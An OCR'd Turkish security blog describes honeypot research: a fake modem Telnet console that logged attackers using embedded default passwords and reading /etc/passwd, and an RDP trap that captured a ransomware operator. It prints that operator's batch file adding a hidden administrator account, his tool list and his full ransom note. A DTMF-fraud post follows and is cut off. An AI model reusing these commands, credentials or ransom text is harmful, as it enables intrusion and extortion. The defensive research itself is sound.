yapiyorlar ve tum event loglari siliyor. RDP tzerinden gelebilmesi i¢in en azindan
en bilindik Administrator sifresini bilmesi gerekiyor. Saglam bir sifreyi nasil
gecebiliyorlar.

2010 yilinda yapmis oldugum ve yaziya doktiigiim Sanal Kusatma baslikli blog yazimda, evime kurdugum basit bir honeypot ve asagidaki
climle ile dikkat gekmeye ¢alistigim nokta, bugiin sanal diinyada son kullanicilarin yasadig1 sorunlarin hemen hemen ayak sesleri gibiydi.

“Honeypot kayitlarindan edindigim bilgileri kisaca ozetleyecek olursam honeypot iizerinde yer alan 11 baglanti noktasindan bir
tanesine internete acildiktan 12 dakika sonra ilk baglanti gerc¢eklesmis ve 5 saat i¢inde toplamda honeypota 8 farkl iilkeden, 14
farkly ip adresinden iletigim kurulmugtur.”

2014 yilinda ise Air6372SO Varsayilan Hesap Dogrulamasi baglikl bir diger blog yazimda, donanim yazilimlarina gémiilen kullanici adi ve
parolalarin son kullanicilar olarak giivenligimizi nasil tehlikeye atabilecegine dikkat gekmeye ¢alismistim. Yazinin akabininde de, internetten
gelen baglantilar: kabul edecek sekilde tasarladigim sahte Telnet Honeypot aracini sessiz sedasiz hayata gegirdim. Kendisini Airties modemin
konsol arabirimiymis gibi tanitan ve yazida bahsi gegcen gomiilii parolalarla baglanti kurmaya ¢aliganlart kayit altina alan bu arag ile yazinin
yayinlanmasindan kisa bir siire sonra hem yurtiginden hem de yurtdisindan baglant1 kuruldugunu gérdiim. Bunlardan birinde, Ingiltere’den
baglant1 kuran bir ip adresi (172.245.61.34), WiFi erisim noktasi adini ve parolasini ¢alip, sirra kadem basti. Sebebi lizerine biraz diisiiniince,
art niyetli kisilerin sifre kirmak amaciyla parola s6zliigii olusturmak veya Wifi modeminiz iizerinden yeri geldiginde siber su¢ iglemek i¢in
bu bilgileri toplamis olma ihtimalleri yiiksek olabilirdi.
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Batcave X

Telnet Honeypot [http://www.mertsarica.com]
21-10-2016 19:16:36/192.168.1. 38 |Connected!

21-10-2016 19:16:53/192.168.1.38|username: root
21-10-2016 19:16:53|192.168.1.38|Password: SoL_FiBeR_1357
21-10-2016 19:16:53|192.168.1.38|Logged In!

21-10-2016 19:16:58|192.168.1.38|Command: help

s) Telnet 192.168.1.56

) login: root

BusyBox w1.14.1 (2011-10-25 17:21:22 EEST) built-in shell (ash)
Enter ‘"help” for a list of built-in commands

# Built-in commands
break cd chdir continue o al exec exit export

p jobs kill let local d read readonly return
e test times trap true type ulimit umask unalias

root@atcave: /var /www/html /balkupu# cat balkupu.txt
29-12-2014 20:25|88.235.155.239|username: root

29-12-2014 20:25(88.235.155.239|Password: SoL_FiBeR_1357
29-12-2014 20:25|88.235.155.239|Logged In!

29-12-2014 20:25|88.235.155.239|command: help

29-12-2014 20:25|88.235.155.239|Command: ifcoifc
29-12-2014 20:25|88.235.155.239|Command:

29-12-2014 20:25|88.235.155.239|Command:

29-12-2014 20:25|88.235.155.239|Command:

29-12-2014 20:25|88.235.155.239|Command:

29-12-2014 20:25)88.235.155.239|Command:

29-12-2014 20:25|88.235.155.239|Command:

29-12-2014 20:25|88.235.155.239|command: help

10-01-2015 05:38]|172.245.61. 34 |username: root

10-01-2015 05:38|172.245.61. 34 |Password: ds1_2012_Air
10-01-2015 05:38|172.245.61.34|Logged In!

10-01-2015 05:38|172.245.61. 34 |Command: cat /var/hostapd*
10-01-2015 05:38|172.245.61. 34 |Command: ps A
10-01-2015 05:38|172.245.61. 34 |Ccommand: cat /var/config.xm]
10-01-2015 05:38|172.245.61. 34 |Command: cat /etc/passwd



2016 yilinin sonuna dogru ise yazimin basinda belirttigim sifreleme yontemi kullanan fidyecilerin izledikleri yontemleri agikliga
kavusturmaya karar verdim. Rivayete gore art niyetli kisiler Tiirkiye’nin ip blogunu Nmap vb. baglanti noktasi (port) tarama araglari
ile tariyorlar ve ardindan internete agik olan Remote Desktop servisine Ncrack vb. araglarla sozliikk saldirisi (dictionary attack)
gergeklestiriyorlardi. Bu aragtirma igin biitgemi ¢ok zorlamadan (6 taksit :)) gerekli donanimlari toplamaya bagladim.

Donanimlar1 topladiktan sonra donanim olarak ortaya 2 GHZ hizinda islemcisi, 8 GB RAM’i ve 120 GB SSD diski olan bir tuzak sistem
¢ikti. Bunun iizerine ilk is olarak iicretsiz olan ESXi sanallagtirma sistemini kurdum. Onun {izerine de {izerinde sahte muhasebe uygulamast
bulunacak olan bir Windows 7 (Honeypot), tuzak sistemi hackleyen art niyetli kisilerin ag trafigini izlemek ve internet baglantisini kisitlamak
amactyla (malum sanal sistemimi bagka suglara alet etmelerini istemezdim) Ubuntu isletim sistemi (Batcave) kurdum. Windows 7’yi yerel
agda izole edip, internete baglanabilmesi i¢in Ubuntu’yu da vekil sunucu (ssl inspection proxy) yaptim.

Gigabyte GB-BACE-3150 Intel Celeron N3150 2.08GHz Mini
Masaiistii Bilgisayar

% % %k kY

Yorum (4) | Yorum Yap

%31 67864 T
il 468,91 11

Pesgin Fiyatina 9 x 52,10 TL | Taksit Tablosu

Satici: Hepsiburada

Favori Listeme Ekle Kargilagtir Fiyat Alarmi

Diger Saticilar - Timii (2) 2

Fiyat / Satici Kargo / Kampanya

447.21TL * En geg 9 Mayis Pazartesi gini kargoda O

Teknolium * Bu mafazada kargo bedaval i
BN B8 Slemeias

O Agianian Yorumlar (4) Taksit lade Kogullan Tam Sstclar @
Marka Gigabyte
Islemci Tipi Intel Celeron
Islemci Hizi 2GHz
Islemci Cache 2 MB cache
Ram Tipi DDR3
Ekran Karti Tipi Dahili Ekran Karti
Ekran Karti Modeli Paylasiml
Monitér Yok
3D Destegi Yok
Wireless Ozelligi 802.11n
Kimin Segimi Ginlak
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Ana Sayfa >

Ana Sayfa >

Bilgisayarlar

Bilgisayarlar >

>

Bilgisayar Pargalan > Bellek Ramler > Kingston Bellek Ramler

Kingston ValueRam 8GB 1600MHz DDR3 Notebook Ram

(KVR16L511/8)

%27

Pesin Fiyatina 6 x 20

b 123.06 1.

51TL | Taksit Tablosu

Satici: Hepsiburada

Favori Listeme Ekle Karsgilastir Fiyat Alarm

Diger Saticilar -

Fiyat / Satici

115,50 TL

Nethouse

115,64 TL

Pazarbizde

Veri Depolama Urlinleri > SSD Solid State Drive > Sandisk SSD Solid State Drive

Kargo / Kampanya

* En geg 9 Mayis Pazartesi guni kargoda

* En geg 11 Mayis Gargamba gini ke

"

Yorum (21) | Yorum Yap

Sandisk SSD Plus 120GB 520MB-180MB/s Sata3 2.5" SSD (SDSSDA-

120G-G25)

Pesin Fiyatina 6 x 19

SSD PLUS

Solid State Drive . +

%40 100 0.0 T
indirim 1 1 9'00 TL

83 TL | Taksit Tablosu

1: Hepsiburada

Favori Listeme Ekle Kargilagtir Fiyat Alarmi

Diger Saticilar - Tiir

Fiyat / Satici

122,90 TL

Webdenal

123,90 TL

Cesur Biligim

Kargo / Kampanya

+ En ge¢ 9 Mayis Pazartesi ginu kargoda

* Bu majazada kargo bedaval

* En geg 10 Mayis Sal gunu kargoda

* Bu madaza argo bedaval

Yorum (70) | Yorum Yap
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1] 192.168.1.54 - vSphere Client - oIEl
File Edit View Inventory Administration Plug-ins Help

B g} Home b g8 Inventory b Rl Inventory
g€ muj) et 6GEeRreP

B [ [192.168.1.54 localhostJocaldomain VMware ESXi, 6.0.0, 3620759
([ Batcave
ﬁ Honeypot Getting Started ' Summary - RUGOEINEEYGNTIS ResourceAllocation  Performance | Configuration. | Users. Events ' Permissions
MName, State or Guest 05 contains: = I Clear
Name | State | ProvisionedSpace| Used Space | HostCPU-MHz | HostMem-MB | GuestMem-% | Notes ]
(5T | Powered On 45,2368 =468 178k 1124 W | smmmn |
(3 Honeypot Powered On 125,26 GB 65,27 GB 893 - 2096 — 33 T
Recent Tasks Name, Target or Status contains: ~ I Clear X
Name Target | status | Details | Initiated by | Requested Start Ti... = | Start Time Completed Time |
a Tasks | [To release cursor, press CTRL+ALT [root

Tuzak Sistem Altyapisi

Linux Ubuntu Windows 7

Internet Mini PC - ESXi (Ag gecidi) (Tuzak sistem)

Tuzak sistemi art niyetli kisiler igin ¢ekici hale getirmek amaciyla Windows 7 yiiklii sisteme yiiklemek iizere bir muhasebe yazilimi arayisina
basladim. Hangi muhasebe yaziliminin olacagina karar vermek igin ise verileri sifrelenen magdurlardan edindigim bilgilerden faydalanarak
tercihimi Akinsoft firmasinin OctoPlus yazilimindan yana yaptim.
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http://www.akinsoft.net/programlar/prg.php?id=WPL6

Sira tuzak sistemi tuzak yapacak olan araci tasarlamaya geldiginde her zaman oldugu gibi Python ile Windows iizerindeki kullanicinin tiim
hareketlerini kayit altina alan (tus kaydi, video kaydi, ekran goriintiisii alma, pano (clipboard) kopyalama) ve video dosyast hari¢ geri kalan
tiim bilgileri her 5 dakikada bir e-posta ile gonderen UAL (User Activity Logger) (kotiiye kullanilmamasi adina kaynak kodunu yayinlamama
karart aldim, lizgiiniim.) adin1 verdigim bir ara¢ hazirladim. Tuzak sisteme baglanan art niyetli kisileri uyandirmama adina igletim sistemi
iizerinde Python27 klasorii baskta olmak tizere cesitli klasorleri gizledim. Ardindan derledigim UAL.py aracinin adini spoolsv.exe olarak
degistirip, her oturumda yeniden ¢alistirilacak sekilde Windows servisi olarak kayit ettim.
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Services

File Action View Help

e[ sz Hml ronp

Services (Local) Ty Priniter Spooler Propesties (Local Computer)
Geresal | Log On | Recovery | Dependencies
Printer Spocler Startup Type  Log Onds
I Servicanate:  Pinterpocle] Manual Lacal Service
RS e senice Display e Piidr Spocier Manual Lacal Service = .0 .
Manus! Laesl Sarvice | Search toots D
@ et Loads ez 1o memoty for laler paniing Z earc )
Description: iy E Manual Lacal Service
Loads files to memary for late Manual Lacal Service = I
printing Path 1o suecitable led  Autornatic Laeat Syste...
® | C\window'\Syslam3Z\spoofiools\spocky eve led  Autornatic (D Local Syste..
7] Statup type: Automatic - Manual Local Service
. . Manual Local Syste...
Hieio e corbowae gerace sl pehon; led  Autornstic Locsl Syste...
led  Automatic Lacal Syste...
Service sistus: Stopped Automatic Local Syste..,
Siat Yor v Manusl Local Syste..,
ualy] led  Manual Lacsl Syste...
i “You can specily the stan parametens that apoly when you sar the service Marual Local Syste...
reen hase.
Manual Local Service
Start parameters Misnusl Local Syste...
Manusl Local Syste...
Diata [ed  Manual Local Gyste..,
ok [ comal ed  Manual Network S...
fed  Manusl Locsl Syste... =
n \ Estended {Standard |
ta i
B Administratos: Command Prormpt S E=E

Tuzak sistemin yOnetici parolasini muhasebe yapip, modem {izerinden internet erisimine agtiktan sonra 6 ay boyunca bu sistemi
izlemeye basladim. 6 ay siiresince tuzak sisteme diisenler sayesinde sistemi iyilestirme adma epey bir yol katettim. Ornegin ¢ogu art
niyetli kisi muhasebe dosyalarini sifrelemeden 6nce dosyalarin degistirilme tarihine bakip, muhasebe programinin aktif olarak kullanilip
kullanilmadigini kontrol ediyordu. Her ne kadar sozliik saldirisi ile tuzak sistemin yonetici parolasini kisa bir siire zarfinda bulanlar olsa da,
esi dosta hedef alip medyaya konu olan, verileri sifreleyip, not birakan fidyecilerden birinin tuzak sistemime diismesi yaklasik 6 ay siirdii.

user activities “

i 0 (1] [ Move to Inbox ® - More ~ 42 of about 86
User Activities Inbox X =
£ ® Jun 22 LN ¥

tome |+

£ data.zip
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< data 6 items

keylogs.txt

logger_22 _06_2016_21_19_35.jpg
logger 22 06 2016 _21 19 51.jpg
logger 22 06_2016_21 20 _06.jpg
logger_22 06_2016_21_20_37.jpg

logger_22_06_2016_21_20_53.jpg

= data.zip - WinRAR (evaluation copy) = =

File Commands Tools Favorites Options Help

ARG HYWIdO K 49

Add  Extract To Test View  Delete Find  Wizard Info  VirusScan Comment  SFX

E BB datazip\data - ZIP archive, unpacked size 264.859 bytes v
Name ‘ Size Packed Type Modified
i . File folder
keylogs.txt 23 17 Text Docu.. 22.6.2016 21:13
== logger_22_06_2016_21_10_23,jpg 80.020 53.259 JPEG image 22.6.2016 21:10
w logger_22 06_2016_21_13_01,jpg 86.700 47.387 JPEG image 22.6.2016 21:13
&= logger_22 06_2016_21_13_16.jpg 98.116 56.219 JPEG image 22.6.2016 21:13
B keylogs.txt - Notepad - B

File Edit Format View Help
admin FAz01903 FAz01903|

< >

I~ Selec
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Bilgisayar korsanlarina operasyon

DHA 03 Temmuz 2015 - 12:13| Son Giincelleme - 03 Temmuz 2013 - 1214

[stanbul Siber Suglarla Miicadele Sube Miidiirliigii 3 yil Gnce internet iizerinden sirketlerin
ana bilgisayar sunucusuna girerek sistemdeki tiim belgelerini ele gegiren bir sebekeyle
ilgili galisma baglatt.

wADEAEAR - -+ m-

Ele gecirilen bilgileri sirketin ana bilgisayarindaki tek dosyaya koyan sebeke bu dosyay
sifreleyerek sirket calisanlarinin icinde, ihracat, ithalat, muhasebe ve insan kaynaklanimin
da bulundugu bilgilere ulasmalarina engel oldular. Sifre karsiliginda sirketten para
isteyen aksi halde sirket bilgilerini internette desifre edecedini belirten sebeke
elemanlari, yetkililerin kendilerine ulasmasi igin bilgisayarda olusturulan dosyada
‘crypteks@hotmail.com , meney4ptr.pan @gmail.com” gibi benzer isimlerde 19 mail
adresi birakti. Sebeke, para odeyen firmalara sifresini verirken ddemeyenlerin bilgilerini
bir internet sitesinde yayinladi.

273 SIRKETIN BILGISAYARINI ELE GEGIRDILER YAPTIKLARI 2 HATA YAKALATTI

Polis 2011 yilindan beri yaptigi aragtirmada, incelenen 273 olayin 271'inde bir ize
ulasilamadidi ancak 2 olayda yapilan hata sayesinde sebeke ele basi 5.Blye ulasild.
Ukrayna'da yasayan Tirk vatandagi bilgisayar mihendisi S.Blnin 3 ay once Tiirkiye'ye giris
yaptid belirlendi. Polis S.B!nin irtibatlanini belirlemek icin sebeke elebasini adim adim
takip etti. Antalya'da bir otelde tatil yapan 5.Bnin yurt disina ¢ikma hazirhginda oldugu
belirlenince 3 aylik takibin ardindan gectigimiz hafta operasyon starti verildi. 10 ilde
gergeklestirilen operasyonlarda 20 kisi gdzaltina alindi. Gozaltina alinan 15 kisi polis
sorgusunun ardindan serbest kalirken, 4 kisi savailik tarafindan serbest birakildi. Santaj ve
bilisim sistemlerine hukuka aykin olarak girmek gibi suglardan hattinda islem yapan S.B.
ise tutuklanarak cezaevine gonderildi. Polis olayla ilgili yurt disinda yasayan bazi
bilgisayar korsanlanimin yakalanmasi icin calismalanina devam ediyor.

55 SIRKETTEN 87 BIN 684 DOLAR ALDILAR

Polis sebekenin para aldid sirketlerle ilgili calismalanina devam ederken, sebekenin, su
ana kadar yapilan tespitlerde 55 sirketten 87 bin 684 Dolar alindid) belirlendi. Paralarin
sebekenin talebi Uzerine Rusya, Ukrayna, Cin Vietnam, Peru gibi Ulkelerdeki hesaplara
havale edildigi belirlendi. Bu tlkelere havale edilen paralarinda farkli sebekeler aracilig
ile cekilerek komisyon karsiligr S.B.nin adamlarina aktanildid iddia edildi.

Tuzak sisteme baglananlarin IP adreslerini ve sisteme ne kadar siire ile bagli kaldiklarini1 6grenebilme adina Remote Desktop servisine
internetten erigim vermek yerine, Ubuntu (Batcave) iizerinden yonlendirme yapmaya karar verdim. Bunun i¢in Ubuntu’nun 3389. baglanti
noktasina (port) gelen tiim istekleri, socat araci ile tuzak sistemin 3389. baglanti noktasina yonlendirdim. Socat aracinin detayli kayit
ozelligini yorumlamasi pek pratik olmadigi i¢in de Python ile Socat Connection Tracker adinda yardimeci bir ara¢ hazirladim.

“ Batcave X l

SOCAT Connection Tracker [https://www.mertsarica.com]

connection from: 212.7.217.50
Connection Time: 2016/11/25 00:17:31
Disconnection Time: 2016/11/25 01:02:21
connection duration: 44 minutes

root@ubuntu:~#

Bir sabah uyandigimda e-posta kutumda tuzak sistem tarafindan génderilmis ¢cok sayida e-posta oldugunu farkettim. Bu durum ben gece
misil misil uyurken birinin tuzak sistemimi hackledigi anlamina geliyordu. Tuzak sistemin konsoluna ESXi arabiriminden baglandigimda
ilk dikkatimi ¢ceken sistemde Sys isimli farkli bir kullanicinin olusturulduguydu. Sisteme giris yaptigim zaman ise karsima ¢ikan Steganos
Backup 2012 yedekleme yazilimi ile muhasebe programinin klasérlerinin sifreli olarak yedeklendigi ve masaiistiinde yer alan not ile uzun
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http://www.dest-unreach.org/socat/
http://github.com/mertsarica/hack4career/blob/master/codes/telnet_honeypot.py

zamandan beri bekledigim giiniin nihayet geldigini anladim. Baglant1 kuran kisi yukarida yer alan ekran goriintiisiinden de anlasilacag iizere
tuzak sistemime 44 dakika bagl kalmist.

@H on localhost.localdomai - o3
File View VM
mnjro0GBReSP
Number of active connections has changed. There are now 2 active connections to this console ®

ap 4 T~

] \\ .- k
\\‘
\ ﬁ .

N W

< >
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P - Steganos Backup 2012 . _nm.l_.x_l
Fie RescueDisc Settings Help
steganos Backup
What would you like to back up ?
B standard Folders (0) Please add the fles and folders that you would like to back up to the kst. ..J.I:I.Ill
Fées and Foiders [ LI ch Local Disk (C:) ﬂ
£ C:\AKINSOFT\® = i
F’ Internet, Email and Organizers (0) oS - Add Folder with Fiter £ -« [ @
o C:\Program Files\Firebird\™ B B l |
> | & mevwo e |
5 foider
% foider
- foider
M excusons 9) AoV | [focer
foider
folder
t Document 6KB
steganos Backup
PEBSIAE 1o s 5 kst of ol avadable badup reports. Double cick on a report o open it.
Frushed Started Hiame =101 x|
}& ch Local Disk (C:) (o}
Hegulnietin-bsy = 8
e Size I |
“— faider
- ' folder
el folder
foider
foider
) folder

|t Docurment KB




Artniyetli kisiye ait kayitlari inceledigimde kameder.com.tr adresinden (muhtemelen hacklenmis bir site), pr.docx isimli bir dosya indirdigini
gordiim. 65 MB biiyiikliigiinde bir belge olmast oldukga siipheli oldugu igin bunun bir ZIP dosyasini 6grenmem ¢ok zor olmadi. Bu ZIP
dosyasini agmaya calistigimda ise bir parola soruluyordu. Parolay1 bulmak igin ise yine kayitlara hizlica goz attigimda, parolanin x oldugunu
gordiim. ZIP dosyasini agtigimda art niyetli kiginin hackledigi sistem iizerine yiikleyip, ¢alistirmak amaciyla kullandig1 tiim araglari karsimda
buldum. Sys kullanicisinin parolasini da bir bat dosyasi i¢inde bulduktan sonra sifrelenen dosyalarimin parolasinin da olabilecegi ihtimaline

7 BEN 0L et - Notepad = o »
Fie fde Foomat View Help
Merhabalar,

Sisteminizde Gremli oldufuna inandifum bir kisim verilerinizi sifreledim.

Verilerinizi sadece benim geri getirebilecegim sekilde sifreleyip yine sizin sunucunuzda,

*.axx uzantilari ile kendi yerlerinde ya da disklerinizin ana dizininde “yedekler~ fsmindeki
klasbrde sakladiktan sonra, orjinallerinin Jzerine veri yazarak gerl getirilmeyecek lzere sildim.

Eger verilerinizi tekrar calisir sekilde sumucunura yiklememi arru ederseni benimle mnydptr.panggmail.com
e-maill aracalyfn ile iletisime geciniz. Yazacafiniz e-sailin komusuna mutlaks ip musaranizi yazamaz.

Sizin sisteminiz icin sizdenbir miktar para talep ediyorus. Anlastafimiz taktirde,

size paray: ginferebilmeniz icin gerekli havale bilgilerini ginderecegim.

Bana ginderdifiniz paranin yerine ulasip ulasmadifinin kontrollnd (en gec yarim sast)yaptiktan sonra sisteminize
baglanip eski haline getirecegis.

Sizi temamiyorum, dolayisi ile size karsi herhangl bir dismanlifim veya garezism clmsdifindan dolay: sizi gereksi: yere
sikantiys sokacak bir smscimin da olmasy slekin degil. Amacim sadece bu flilisden dolay: belli bir gelir elde edip
sebep oldugue bu rahatsizlig: giderip sizinle yollarimy ayireaktir,

Sunucunuzda *.axx uzantili dosyalar ve [ veya varsa slrlcllerinizin ana dizinlerinde bulunan “yedekler® klasSrlerini silseyiniz,
erjinalleri Gzerinde oynayip enlari degistirmeyiniz / bozmayiniz. Bozdufunuz ya da sildiginiz dosyslardan 5tird bilgilerinizi geriye
grtirenenskten Stird sorumluluk kabul etmes.

Verilerini sifreledigin isletmenin sorumlular:y disanda bilgl islemlerine digaridan yazan kisi veys kurumlarin bu sailime cevap verip
benimle anlajsmamalar: durusunda isletmsenin sahiplerine / ybnetimine ayrica durumu bildirir amacls ulasacagimin bilirsesini isteris.

Her sunucunun kendisine has sartlari, veri miktari ve tird, isletmenin blyOk10g0 / bilinirligi, nrl!orl. ;].fﬂl.m hof(nllll

ve sonrasinds geriye ylklerken harcayscajis zasan ve gartlara glre paranin bana ul kull gim Sdeme yo lerini
gerektirdigi

durualara bagly olarak her Isten ayri bir Ocret talep sttifimden bana "filan yerden su kadar para almigsiniz™ seklindeki srglmanlarls
fiyatta indiris talebinde bulunmayiniz.

Hard disklerinizden veri kurtarma programlari ile tekrar veri elde etmeyl deneyebilirsiniz, disklerinizi veri kurtarsa sirketlerine
gonderebilirsiniz, adli mercilere bas vurabilirsiniz, beni tendit edebilirsiniz. Tie bunlarin verilerinizi tekrar elde etmede bir
faydasiran

olmayscagany size ancak zaman kaybettirecejini, sisteminizi bir an &nce calisir durusa getirsenin benimle anlagmaktan gectijini

not etmek isteris.

Sunucunuzy eski haline getirdikten sonra size hangl yolla ne sekilde sunucunuza ulastifimy ve tekrar bu tir olaylarin basiniza
gelmemesi icin
neler yapmaniz, nelere dikkat etmeni: gerektifini anlatan bir mail glnderecegin.

Benimle iletisime gecerken hangi sunucudan bahsedildigini anlayabilmes icin konu kismina sunucumuzum dis ip rumarasima belirtiniz.

kars1 benzer dosyalari incelemeye devam ettim ancak parola igeren herhangi bir dosya bulamadim.

o

Share View
- - i » dats » data v & Search dats
%)
o Quick access

I Desktop

&= Pictures

| Documents *

£ Dropbox
i OneDrive
I This PC logger25.11.201  logger.25_11_201 bggujs'11'ml logger 2511201 loggn 2511201  logger_25_11_200
- ,00_20_43.jpg 6.00_21_04jpg 6.00.21_22jpg 6.00_21_41,jpg 6.00_21_59,jpg 6.00_22_18.jpg
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3 7 keylogatt - Notepad - o
J‘ \ Nc Eda l’m View Hdp
.. lbk
& Pictures . abk
W Videos <CTRL-V><CTRL-V><CTRL-V3<CTRL-V3><CTRL-V3><CTRL -V3><CTRL-V><CTRL -V3<CTRL -V3<CTRL-V><CTRL -V3><CTRL -V3><CTRL -V><CTRL -
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4 root@remnux: /fhome/remnux/Desktop/honeypot

File Edit Tabs Help

root@remnux:/# cd home

root@remnux:/home# 1s

remnux

root@remnux:/home# cd remnux/

root@remnux:/home/remnux# cd Desktop/

root@remnux:/home/remnux/Desktop# mkdir honeypot
root@remnux:/home/remnux/Desktop# cd honeypot/
root@remnux:/home/remnux/Desktop/honeypot# wget www.kameder.com.tr/dokum:

.docx

--2016-11-24 21:54:31-- http://www.kameder.com.tr/dokumanlar/pr.docx
Resolving www.kameder.com.tr (www.kameder.com.tr)... 77.223.129.229
Connecting to www.kameder.com.tr (www.kameder.com.tr)|77.223.129.229]|:80
ected.

HTTP request sent, awaiting response... 301 Moved Permanently

Location: http://kameder.com.tr/dokumanlar/pr.docx [following]
--2016-11-24 21:54:32-- http://kameder.com.tr/dokumanlar/pr.docx
Resolving kameder.com.tr (kameder.com.tr)... 77.223.129.229

Reusing existing connection to www.kameder.com.tr:80.

HTTP request sent, awaiting response... 200 0K

Length: 68230834 (65M) [application/vnd.openxmlformats-officedocument.wol
singml.document]

Saving to: ‘pr.docx’

A2%[======—=> Qe BT F
I-[rem...][[‘ | [Des... [Mroot... |@ http:...[ @ Antiv...[[B

@@vl. » pr » pr » Progz » v |44 || Search Progz P

Organize * = Open Share with * New folder £~ [ @
*
Favorites Name Date modified Type iz
B Desktop | Drop 16.03.2014 20:5; File folder
s Downloads I Grosey 15.12.2013 05:53 File folder
~» Recent Places k. Q-Dir 13.12.2013 04:38 File folder
n AsterixPassword.exe 15.12.2013 02:58 Application

| keylogs.txt - Notepad
File Edit Format View Help

<BACKSH KSPACE><BACKSPACE>exe

x <BACKSPACE>
YEDEKLER<CTRL-V><CTRL-C><CTRL-V><CTRL-C><CTRL-V>
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fo | e
P ()= | > pr» pr» Progz » v |49 || Search Progz P
Organize * |=] Open Share with ~ Print New folder - 1 @
» Favorites Name Date modified Type =
I Desktop i Drop 16.03.2014 20:52 File folder
Js Downloads | eraser 15.12.2013 05:53 File folder I
24 Recent Places k. Q-Dir 13.12.2013 04:38 File folder
B3 AsterixPassword.exe 15.12.2013 02:58 Application

5 Libraries

-, Documents
& Music

2, Pictures

B Videos

& Computer
& Local Disk (C)

@& Network

@ AxCrypt-1.7.2931.0-Setup.exe
R Eraser.exe
 file.exe

& filepro.exe

@ sbk2012int.exe
& ScanFS.exe

ﬁ SpaceMonger.exe
ﬂ teracopy.exe

ﬂ Unlocker1.9.2.exe
.. user_sys.bat

B wrar420tr.exe

16.08.2012 08:50
16.03.2014 20:33
03.08.2013 17:26
14.07.2013 13:30
02.09.2013 04:59
14.07.2013 13:38
16.10.2000 13:30
16.03.2014 20:46
16.03.2014 20:50
10.07.2014 04:16
06.06.2013 15:33

Application
Shortcut
Application

Application

Application
Application
Application
Application
Application
Windows Batc |
Application -
»

aEuser_sys.bEn E:ﬂ
1 net user sys BAbc+l123 fadd
2 net localgroup Administrators sys /fadd
i net localgroup "Remote Desktop Users" sys fadd
4 net accounts /maxpwage:unlimited
=) panse

Tuzak sistem iizerinde kopyala yapistir ve dosya paylasimini engelledigim igin art niyetli kisinin muhasebe programina ait klasorleri
sifrelemek i¢in segtigi parolay1 yazmakta epey zorlandigini gérdiim. :) SEMSIPASA ile baslayan uzun parolay1 yazmakta epey zorlandiktan
sonra karsiyaka ile baslayan bir parola denemis ve onu da yazamayinca son olarak dvdassanat669- parolasinda karar kilmist1. izlendiginden
habersiz olan art niyetli kisi, verileri sifreleyip e-posta atilmasini hayal ederken, tuzak sistem sayesinde dvdassanat669- parolasi ile sifreyi
¢0ziip, bu konuyu da kendi adima agikliga kavusturmus oldum.
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Elde var 3 parola :)

Steganos Backup 2012 g 1ol x|

R steganos B

2 keylogs.txt - Notepad - [m] 4
File Edit Format View Help I

g Password

Please enter the password that you provided when you created the backup plan:

Password: [essssssssssns Iﬂl xl

Please note that you can only restore data from the badwp with the correct password.
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Fle RescueDisc Settings Help

st steganos Backup

Please select which files and folders you would ke to restore.
Double dick on a folder to browse its contents.

SISy can also go back in time and browse through old versions of your flles by selecting a date below
Show badwp contents from: Ee.u.zo:e 'I =101 x|
;? larch Local Disk (C:) [.91
'
dcgaisiciss [ [ name [ Type | Size | Modified Date I = v (1] 8
B c\AKINSOFT Folder
Size
o B c:\AS_YEDEK Folder o | I
“jl @8 c:'Program Fles\Firebrd Folder le foider
3 .
., b folder
Wl e folder
b folder
e folder
. b folder
o | | o |
Select A1 Deselect Al
- xt Document 6KB
—ad
S e e —————————————————|

Sonug itibariyle bu yaziya konu olan fidyecilerle miicadele edebilme adina, periyodik olarak sistemlerinizin yedegini almak, yedeklerinizi
glivenli ortamlarda saklamak, internete agik olan baglanti noktalarimizi kontrol edip ihtiya¢ duymadiklarinizi devre dis1 birakmak ve
sistemlerinizde gii¢lii parolalar kullanmak kisa vadede fidyecilerin kotii emellerine ulagsmalarini zorlagtiracaktir.

Unutmadan, tuzak sistem tarafindan art niyetli kisinin verileri sifrelemesi esnasinda kayit ettigi videoyu da asagida izleyebilirsiniz.
Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim.

The post Tuzak Sistem ile Hacker Avi appeared first on Siber Giivenlik Giinliigi.

DTMF Hirsizhg

By Mert SARICA on June 1st, 2017

15 Kasim 2016 tarihinde Hiirriyet’te yayinlanan “Dolandiricilikta yeni yontem: Dolandiriliyorsunuz; sifrenizi ekrana tuslayin” baslikli yazi
dikkatimi ¢ekti. Haberin detaylarini okudugumda dolandicilarin yeni kesfettikleri akilalmaz bir yontem ile dolandiricilik yaptiklarina dem
vuruluyordu. Sayet haberi derleyen kisi, haberi yayimlamadan dnce en azindan bir bilisim uzmanina danigsmis olsaydi eminim bunun akil
almaz bir yontem olmadigini 6grenmesi 5 dakikasini almaz ve dolandiricilarin kullandiklart yontemi de agiga kavusturarak ¢ok sayida
vatandasimizi, ilgilileri bu konuda aydinlatabilirdi. Durum béyle olmayinca ve yakin ¢evremden de bu konuya iliskin sorular geldigi igin is
basa diistii ve bu haberde yer alan yontemi agiga ¢ikarmaya karar verdim.

Detaylara gegmeden once ilk olarak Cift Tonlu Coklu Frekans‘tan (Dual Tone Multi-Frequency / DTMF) kisaca bahsetmek gerekiyor. DTMF,
Bell Systems firmasi tarafindan 1963 yilinda gelistirilmis ve telefon sebekesinde taraflar arasi bilginin iletilmesini saglayan bir kodlama
tiriidiir. DTMF tus takimlar asagidaki gibi 16 tustan olusur. Tuslu telefonlarda, tus takimli akilli telefonlarda her bir tusa basildiginda,
asagidaki tabloya gore bir ton ¢ifti olusturulur ve telefonun diger ucundaki tarafa sinyale doniistiiriilerek iletilir. Ornegin bir bankay1
aradiginizda sizi karsilayan robot, sizi taniyabilmek i¢in sizden miisteri numaranizi ve TCKN numaranizi girmenizi ister. Siz bu bilgileri
tuslamaya basladiginiz zaman olusan ve rahatlikla duyabildiginiz her ton ¢ifti, robot tarafindan Goertzel algoritmasina gore ¢oziimlenerek
sayisal degere cevrilir ve igslemlerinizi ger¢eklestirilir.

1209 1336 1477 1633
Hz Hz Hz Hz
697 Hz 1 2 | A
770 Hz 4 5 ] B
852 Hz T L] 9 C
941 Hz i 0 # D

Tablo 1 - DTMF kodlama frekanslar

Frekanslar

Yukaridaki &zet bilgi 15131nda habere konu olan dolandiricilik ydnteminin pratikte nasil gerceklesebilecegine kisaca bir bakalim. ikna
dolandiriciliginda, dolandiricilarin temel amaci karsi tarafin giivenini kazanararak kotii emellerini gergeklestirmektir. Haberde de belirtildigi
iizere bankadan aradiklarini séyleyen dolandiricilar, vatandasa parasinin gekilmeye ¢alisildigini ve bu siipheli islemi durdurmak igin kart PIN
